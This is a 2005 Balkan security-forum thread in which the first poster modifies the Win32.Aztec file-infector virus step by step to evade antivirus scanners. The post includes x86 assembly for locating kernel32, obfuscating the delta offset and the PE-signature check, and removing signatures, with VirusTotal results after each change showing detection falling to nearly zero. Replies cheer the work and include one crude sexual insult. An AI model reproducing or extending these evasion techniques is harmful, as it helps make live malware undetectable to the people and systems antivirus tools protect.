DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found [Win32.Iced.1344] Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found [Win32/Aztec.1356] Norman 5.70.10/20050211 found [W32/FileInfector] Panda 8.02.00/20050211 found [Suspect File] Sybari 7.5.1314/20050212 found [W32/NGVCK] Symantec 8.0/20050211 found [Bloodhound.W32.2] I padoše ih....POLA! Redom: AVG, ClamAV (uvijek sam govorio koliko je OSS nekvalitetan :), DrWeb, eTrust-Iris, Fortinet, F-Prot, Kaspersky. Skoro pa pola :) Od ostalih ih preko signature detektiraju BitDefender, NOD32v2 i eTrust-Vet, ostali ih preko heuristika nalaze. Zanimljiv je Sybari-ev rezultat koji ga prijavljuje kao spawn NGVCK kita za kreiranje virusa! Mislim....smiješno....AV koji tvrde da imaju heuristiku, a nisu u stanju emulirati i najobičniju kvazibeskonačnu petlju!! Get Real!!!!! Također, za f-prot mala zamjerka, pošto će kasnije on nakon nekih modifikacija OPET prijavljivati infekciju. Ali otom potom :) Sljedeći korak pri modificiranju ovog školskog primjerka virusa jest bila zamjena GetK32 fje sa novijom, modernijom varijantom. Više nije potrebno trošiti skupe CPU cikluse brutforsajući memoriju, već elegantno kombiniramo informacije iz PEB-a. Nisam stavio onu direktnu, kratku verziju, već jednu malo modificiraniju, koju sam sam napisao za svoje potrebe. Moja verzija te fje prvo testira nekoliko već poznatih baza kernel32.dll, nakon toga pokušava iskoristiti PEB, pa tek u krajnjem slučaju poziva onu povratnu adresu sa stoga pa brutforsa. U svakom slučaju ima da radi, na ovaj ili onaj način :) Ta fja izgleda ovako (umjesto defaultne GetK32): Code: GetK32: call __tab ; kernel imagebase table for different versions of vindoze: dd 077E00000h ; NT/W2k dd 077E80000h ; NT/W2k dd 077ED0000h ; NT/W2k dd 077F00000h ; NT/W2k dd 0BFF70000h ; 95/98 dd 077E60000h ; XP home dd 0BFF60000h ; Me __tab: pop esi push 7 pop ebx ; ebx = counter __nxt_base: dec ebx lodsd ; take one imagebase call _krnl_check ; and check it jecxz __got_kernel test ebx, ebx ; check table end jnz __nxt_base mov eax, fs:[TEB_PEB] ; take ptr to PEB test eax, eax ; > 80000000h ? js __PEB_try ; !NT mov eax, [eax.PEB_PebLdrData] mov esi, [eax.PEB_LDR_InInitOrderModuleList.LE_Flink] lodsd ; go to second entry mov eax, [eax.LDR_ModuleBase-LDR_InInitializationOrderLdrEnt.LE_Flink] call _krnl_check jecxz __got_kernel __PEB_try: call __PEB_x mov esp,[esp.EH_EstablisherFrame] ; set SEH frame manually jmp __PEB_failed __PEB_x: xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, fs:[TEB_PEB] ; *PEB mov eax, [eax+34h] mov eax, [eax+0b8h] ; now eax should be kernel's imagebase call _krnl_check __PEB_failed: @SEH_RemoveFrame jecxz __got_kernel __rec_scan: mov eax, [esp.(2*Pshd).Arg1.cPushad] ; take kernel return address. skip pushad, SEH and one call and eax, -1 shl 16 ; align to 10 pages add eax, 2 shl 15 ; add 10 pages __1: sub eax, 2 shl 15 ; and loop per 10 pages call _krnl_check jecxz __got_kernel jmp __1 ; we r gonna find that bloody kernel :) __got_kernel: ret _krnl_check: mov ecx, eax ; gotta set ecx so that we can return true pusha call __temp mov esp, [esp.EH_EstablisherFrame] ; set SEH manually jmp __end_k __temp: xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp mov edx, [eax.MZ_lfanew] ; take RVA to PE header mov ebx, [edx+eax] ; check PE signature xor ebx, 'SUN' ; indirectly sub ebx, IMAGE_NT_SIGNATURE xor 'SUN' ; lil sig jnz __end_k cmp eax, [edx+ecx.NT_OptionalHeader.OH_ImageBase] ; check the predefined imagebase jnz __end_k xor ecx, ecx ;no kernel for us :( __end_k: @SEH_RemoveFrame mov [esp.Pushad_ecx], ecx popa __end: retn Nakon toga opalih sken: Code: AntiVir 6.29.0.11/20050209 found [Heuristic/Virus.Win32] AVG 718/20050207 found nothing BitDefender 7.0/20050209 found [Win32.Aztec] ClamAV devel-20050130/20050210 found nothing DrWeb 4.32b/20050209 found nothing eTrust-Iris 7.1.194.0/20050210 found nothing eTrust-Vet 11.7.0.0/20050210 found [Win32.Iced.1344] Fortinet 2.51/20050209 found nothing F-Prot 3.16a/20050208 found nothing Kaspersky 4.0.2.24/20050210 found nothing NOD32v2 1.995/20050210 found [probably unknown WIN32 virus] Norman 5.70.10/20050207 found [W32/FileInfector] Panda 8.02.00/20050209 found [Suspect File] Sybari 7.5.1314/20050210 found [W32/NGVCK] Symantec 8.0/20050210 found [Bloodhound.W32.2] Kao što vidimo gotovo se ništa nije promijenilo. Čini se da su dotični AV otporni na ovakve cake, ili da su detekcije bazirane na nekoj sekvenci koda koja se dogodila prije poziva GetK32 procedure. NOD32v2 sad virus ne detektira preko signature, već preko heuristika. Sljedeće što nam je na umu jest maknuti sve baš statičke karakteristike ovog virusa. Payload je u vx terminologiji ono što virus radi (recimo destruktivan payload - brisanje hard diska, konstruktivan payload - 29a logo za bootanja mašine :) E pa payload ove bebe jest običan Message Box za vrijeme prve generacije, i njega brišemo: Code: szTitle db "[Win32.Aztec v1.01]",0 szMessage db "Aztec is a bugfixed version of my Iced Earth",10 db "virus, with some optimizations and with some",10 db "'special' features removed. Anyway, it will",10 db "be able to spread in the wild succefully :)",10,10 db "(c) 1999 by Billy Belcebu/iKX",0 Nadalje, u tijelu virusa je ostavljen "potpis", i njega mičemo: Code: mark_ db "[Win32.Aztec v1.01]",0 db "(c) 1999 Billy Belcebu/iKX",0 Dakle totalno trivijalne stvari. Par statičkih stringova, i to je to. Reasemblirarm i analiziram: Code: Scan results File: aztec.bin Date: 02/12/2005 04:56:11 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found [W32/Aztec] AVG 718/20050210 found nothing BitDefender 7.0/20050211 found nothing ClamAV devel-20050130/20050211 found nothing DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found [could be infected with an unknown virus] Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found [probably unknown WIN32 virus] Norman 5.70.10/20050211 found nothing Panda 8.02.00/20050211 found [Suspect File] Sybari 7.5.1314/20050212 found nothing Symantec 8.0/20050211 found [Bloodhound.W32.2] Padoše redom: BitDefender, eTrust-Vet, Norman i Sybari. Mislim.....koja bruuuuuuka. A sve što sam uradio jest izbrisao par stringova :> Mislim, mogao sam uzeti i hex editor i prebrisati ih sa "U STUPID AV" stringom :))) Stvarno smiješno......Eto, zasad samo AntiVir detektira preko signature, a još nisam ni počeo nešto što bi se pod normalnim okolnostima moglo nazvati "sakrivanje" podataka/koda od heuristika. Nakon toga sam primjenio Mikky-ev savjet, te izmjenio pri računanju delta offseta onaj: Code: call delta delta: pop ebp mov eax,ebp u: Code: call delta delta: mov ebp, [esp] add esp, 4 mov eax,ebp Pri čemu je pao: Code: Scan results File: aztec.bin Date: 02/12/2005 05:15:05 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found [W32/Aztec] AVG 718/20050210 found nothing BitDefender 7.0/20050211 found nothing ClamAV devel-20050130/20050211 found nothing DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found [probably unknown WIN32 virus] Norman 5.70.10/20050211 found nothing Panda 8.02.00/20050211 found [Suspect File] Sybari 7.5.1314/20050212 found nothing Symantec 8.0/20050211 found [Bloodhound.W32.2] f-prot :)) Moram napomenuti da mi je jučer već bio otpao i AntiVir do ove točke (u biti na prošloj). Izgleda da ovaj virustotal SURAĐUJE SA ANTIVIRUSNIM KOMPANIJAMA TAKO ŠTO IM PROSLJEĐUJE PRIMJERKE! Đubre jedno. Idemo dalje. Dosta je bilo dječjih igara (iako se čini da su većina testiranih heuristika baš to - dječja igra), vrijeme je za pravu akciju. Napravljene su sljedeće izmjene (neću pejstat sve kodove pošto je puno izmjena, šaljem na mejl na zahtjev): - maknute su Aztecove obsoletne i implementirane vlastite procedure za traženje adresa API-ja, ovaj put preko hash tablice a ne preko stringova, maknuti SVI statički stringovi u kodu - maknut infection mark: Code: mov dword ptr [edi+4Ch],"CTZA" ; Put infection mark - x_push makro za ".EXE" (tj. EXE_MASK), z0mbijev makro koji on-the-fly generira zadani string na stogu + x_pop za poravnanje esp - OpenFile procedura inline-irana -> NOD32 mijenja prijavu u: NOD32v2 1.995/20050210 found [probably modified virus Win32/Highway.C (WIN32) [7]] ludnica :)) - inline-irane su - TruncFile, MapFile, CreateMap, Align procedure - Umetanjem hlt instrukcije pri samom počcetku virusa ostaje jednaka detekcija kod svih, iz čega možemo zaključiti da se emulacija nastavlja čak i ako je došlo do greške kod nekih instrukcija. Sad više nije u igri obsfukacija kontrolnog toka, već micanje broja zastavica za sumnjive dijelove koda. Mada, čini se, postoji OGROMNA razlika u načinu kako je to implementirano kod nekih proizvoda. Recimo, ako unesem BAŠ SRANJA od instrukcija, recimo direktan poziv na ExitProcess i sl. nebuloze, jedino će Symantec davati FP, što će reći da kod ostalih heuristika postoji neka vrsta tolerancije prema potencijalnim junk instrukcijama, pogotovo jednobajtnim. - novi kod za delta offest: Code: call delta delta: mov esi, esp lodsd mov ebp, eax call $+5 add esp, 8 ; mov eax,ebp sub ebp,offset delta Ništa komplicirano, samo hrpa izmjena kako bismo malo modernizirali virus :) Evo rezultata: Code: Scan results File: aztec.bin Date: 02/12/2005 05:32:11 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found nothing AVG 718/20050210 found nothing BitDefender 7.0/20050211 found nothing ClamAV devel-20050130/20050211 found nothing DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found [probably unknown WIN32 virus] Norman 5.70.10/20050211 found nothing Panda 8.02.00/20050211 found [Suspect File] Sybari 7.5.1314/20050212 found nothing Symantec 8.0/20050211 found [Bloodhound.W32.2] Odoše f-prot i AntiVir :)) Eh šta ti je kad su ti heuristike hrpa govana.... Sad mogu reći da samo Panda, Nod32 (i f-prot, ovisi kako mu šune :) imaju nešto što se može nazvati heuristikama. Ostalo su sve marketinški nabumbani proizvodi koji LAŽU svojim mušterijama o podršci detekcije još nepoznatog malware-a. Ako nisu uspjeli detektirati ovako TRIVIJALNO modificirani virus otvorenog koda, star 5 god, onda im od heuristike ne ostaje ni h. Nakon toga su napravljene u kodu sljedece preinake, pri cemu mi je cilj bio sto "opcenitija" definicija virusa: - izmjenjen dio koda nakon delta offseta, ebx preuzeo ulogu delta registra (prije bio ebp): Code: sub ebp,offset delta mov ecx, shit_size-1 sub eax, ecx ;shit_size ; Obtain the Image Base on dec ecx sub eax,00001000h ; the fly NewEIP equ $-4 mov ebx, ebp mov dword ptr [ebx+ModBase],eax - maknuti svi viškovi koda uzrokovani prethodnim dodavanjima.. - inline-irane su procedure: PrepareInfection, InfectAll - ebp->ebx sve do kraja koda, i u dijelu za infekciju, dodana privremena varijabla temp - obsfukirana provjera za "PE" signaturom u infekcijskoj proceduri -> pao nod32! Code: add esi,eax lodsd sub esi, 4 xor eax, 'SUN' sub eax, IMAGE_NT_SIGNATURE xor 'SUN' ;cmp dword ptr [esi],"EP" ; Is it PE? jnz NoInfect Code: AntiVir 6.29.0.11/20050211 found [W32/Latzec] AVG 718/20050210 found nothing BitDefender 7.0/20050211 found nothing ClamAV devel-20050130/20050211 found nothing DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found nothing Norman 5.70.10/20050211 found nothing Panda 8.02.00/20050211 found [Suspect File] Sybari 7.5.1314/20050212 found nothing Symantec 8.0/20050211 found [Bloodhound.W32.2] Rezultat koji prijavljuje AntiVir zanemarimo, jer mi ovaj isti virus prije 2 dana nije detektirao. Njegova trenutna detekcija je 99.99% rezultat suradnje sa virustotal servisom preko kojeg je ovaj sken obavljen :> Idemo dalje. - Panda je izgleda opušila na komentiranju hardcoded adresa kernela: Code: ; call __tab ; kernel imagebase table for different versions of vindoze: ; dd 077E00000h ; NT/W2k ; dd 077E80000h ; NT/W2k ; dd 077ED0000h ; NT/W2k ; dd 077F00000h ; NT/W2k ; dd 0BFF70000h ; 95/98 ; dd 077E60000h ; XP home ; dd 0BFF60000h ; Me ; ;__tab: pop esi ; push 7 ; pop ebx ; ebx = counter ; ;__nxt_base: dec ebx ; lodsd ; take one imagebase ; call _krnl_check ; and check it ; jecxz __got_kernel ; ; test ebx, ebx ; check table end ; jnz __nxt_base Code: Scan results File: aztec.bin Date: 02/12/2005 06:15:41 (GMT+1) ---- AntiVir 6.29.0.11/20050211 found [W32/Latzec] AVG 718/20050210 found nothing BitDefender 7.0/20050211 found nothing ClamAV devel-20050130/20050211 found nothing DrWeb 4.32b/20050211 found nothing eTrust-Iris 7.1.194.0/20050212 found nothing eTrust-Vet 11.7.0.0/20050211 found nothing Fortinet 2.51/20050212 found nothing F-Prot 3.16a/20050210 found nothing Kaspersky 4.0.2.24/20050212 found nothing NOD32v2 1.997/20050211 found nothing Norman 5.70.10/20050211 found nothing Panda 8.02.00/20050211 found nothing Sybari 7.5.1314/20050212 found nothing Symantec 8.0/20050211 found [Bloodhound.W32.2] Ode i glupa Panda. NOD32 je bar umro časno -> nije prepoznao modificiranu verziju cmp instrukcije :) Ovaj dio koda koji sam maknuo za Pandu je ionako star i nepotreban, služi samo za ubrzavanje procedure. Bio sam ga napisao kad sam pravio (prvi!) generički win32 shellcode, 2 mjeseca prije nego što je neke njegove dijelove rippala ona đubrad iz LSD :> Tad još PEB trik nije bio siguran, pa se sve koristilo :> Ovaj glupavi AntiVir opet zanemarimo, jer, kao što rekoh, jučer nije ništa prijavljivao. Hebeni virustotal, sunce mu hebem, neću više ništa na njega slati :>>>> Uostalom, kao što se vidi, ne rade mu heuristike, već neka fixna signatura koju bih, da mi se sad da (a ne da), maknuo vjerojatno komentiranjem/mijenjanjem par instrukcija :> E sad je ostao još samo Symantec. Symantec je specifična priča. Radi se o ultimativnom đubretu od heuristika. Zašto? Zato jer ovaj: Code: push eax div ecx pop eax sub ecx, edx add eax, ecx pop edx movzx eax, word ptr [edi+06h] dec eax imul eax, eax, 28h add esi, 78h mov edx, [edi+74h] shl edx, 3 mov edx, [esi+10h] mov eax, [esi+0Ch] push eax div ecx sub ecx, edx add eax, ecx pop edx or dword ptr [esi+24h],0A0000020h komadič koda prijavljuje kao "virus" ! Taj sam komadić koda dobio micanjem "viškova" sa originalnog virusa. Naravno da je ovaj komadić koda bezopasan i da ništa ne radi. I što je najbolje, RUŠI SE kad se pokrene. Zanimljivi su ovi dijelovi: Prvi i treći su standardni snippeti za align sekcije nakon što joj je dodano tijelo virusa, drugi je dio u kojem se uzima RVA posljednje sekcije u eax, pod pretpostavkom da su esi i edi adrese PE headera, dok je zadnji dio postavljanje read i write bitova na atribute te sekcije. Divan virus, nema šta :) E ove iz Symanteca treba osobito naklepat :)) Zaključak Mislite da ste sigurni ako imate najnovijeg Nortona? Ako vas na taskbaru čuva Pandina šapica? E pa niste. Barem ne od klasičnih virusa koji su divljini. A kamoli od opskurnog malware-a koji profiji pišu po narudžbi. Panda, f-prot, NOD32 su pobjednici. Crveni karton dobiva Symatec zbog FP na "virus" od 20 instrukcija. Ostalo sve srednja žalost. Tj. s*****. Imam neki osjećaj da ako sad napišem neki FP fuzzer i pošsaljem ga Virus Bulletin, nijedan AV u sljedećem broju ne bi imao 100% :))) Ma jok. Stavit ću da svaki dan 10000 takvih FP šalje na virustotal. Pa neka AV "stručnjaci" umru dok ne nađu bugove u svojim patetičnim heuristikama. Lako je ubaciti binary u program koji će nakon 10 sati rada ispljunuti sigurnu definiciju, ali brate, popravi ti bug u programu tako da i dalje ne generira FP! Malo teško....we'll see :) Malo anti-Symantec propagande, pošto je zauzeo zadnje mjesto i još uvijek lažira svoje rezultate: http://www.nod32.com/news/cnet_zdnet.htm http://www.nod32.com/news/joe_wells.htm Citat: In his CNet / ZDNet review, Ken Feinstein, a part-time amateur antivirus tester with no credentials whatsoever in the antivirus industry, used a handful of Rosenthal Utilities simulated viruses to rate NOD32 much lower in virus detection than Virus Bulletin (or any other competent antivirus software reviewer) has ever rated it !!! Ken Feinstein makes a "big deal" of the fact that NOD32 misssed his pretend viruses! Of course NOD32 missed them !!! NOD32 was designed to miss them !!! Simulated viruses have been ridiculed by the antivirus industry for years! It's either a virus or it's not --- and if it's not a virus then no decent antivirus program will detect it as a virus! One would think CNet / ZDNet would have learned from their past mistakes, but it seems they still think their amateur reviewers know more about antivirus product testing than antivirus professionals. Joe Wells, Founder and Director of the WildList Organization, wrote a scathing commentary about Gregg Keizer's September 2000 CNet antivirus program review in an open letter to CNet, in which he said : -> If a product does not report a simulated virus as being infected, it's right. And if a program does report a simulated virus as being infected, it's wrong. Thus, using simulated viruses in a product review inverts the test results. It grossly misrepresents the truth of the matter because : -> It rewards the product that incorrectly reports a non-virus as infected. -> It penalizes a product that correctly recognizes the non-virus as not infected. Norton AntiVirus --- CNet's long-time "Editor's Choice" --- does detect Rosenthal's non-virus files as infected! NOD32 --- rated as "Poor" in detection by CNet --- doesn't detect Rosenthal's non-virus files as viruses! ....(pročitajte do kraja, ima još toga zanimljivoga :) Ljudi, nemojte nasjedati Norton propagandi, ne budite Amerikanci da mediji manipuliraju Vašim životima. Imate ovdje crno na bijelom, sve što sam ovdje napisao će potvrditi svaki ozbiljniji (anti)virusni stručnjak. Slobodno pokažite ovaj članak vašim obližnjim AV distributerima :> AV odabirite prema vlastitoj procjeni, a ne kako vam trgovci kažu. [ Sundance @ 12.02.2005. 07:39 ] @
Sa http://www.virustotal.com/flash/index_en.html
Citat: Put only SCAN in the subject field, SCAN- if you don't want to distribute the sample to AV companies. Damn.....zašto ovo nisam prije vidio :) [ Xpirit @ 12.02.2005. 09:24 ] @
Mogu ovo da prevedem i posaljem u F-Secure? I da li bi vise hteo da probas i F-Secure posto ga viruslist nema?
[ Mikky @ 12.02.2005. 14:42 ] @
Hehe legendarno.
Prevedi i posalji ovo za sledeci a29 issue. [ Vojislav Milunovic @ 12.02.2005. 19:59 ] @
Fenomenalno bratac, fenomenalno =) Joj kako bi da se najabem keve onom kasperskom, ili bi mu zenu dovatio ipak =) Ruskinja, a cujem da se ruskinje satiru od k**** =))) hahaha =)
p.s. ne znam koji mi vrag, ali sam izgleda prso u poslednje vreme =) [ BaCkSpAcE @ 13.02.2005. 01:22 ] @
Sve mi je jasno, ali odakle vam toliki AV skeneri... ne bih bas mogao svaki da instaliram na komp pa da isprobavam...
[ Sundance @ 05.03.2005. 17:15 ] @
Evo malo sa nezavisne studije [1] :
Citat: For example, in some cases the Norton antivirus scanner could not even detect insertions of nop instructions. Citat: We tested three commercial virus scanners using obfuscated versions of the four viruses described earlier. The results were quite surprising: a combination of nop-insertion and code transposition was enough to create obfuscated versions of the viruses that the commercial virus scanners could not detect. Moreover, the Norton antivirus software could not detect an obfuscated version of the Chernobyl virus using just nop-insertions. Papir je inače fenomenalan, preporučam zainteresiranima da ga pročitaju do kraja. Jedina zamjerka što nisu testirali sa AV koji imaju prave heuristike (f-prot, NOD32..), a ne ova Norton i McAfee govanca... [1] http://www.cs.wisc.edu/wisa/papers/safeTR1467/cj03.html [ Vojislav Milunovic @ 05.03.2005. 21:21 ] @
Haha fino :))
Copyright (C) 2001-2025 by www.elitesecurity.org. All rights reserved.
|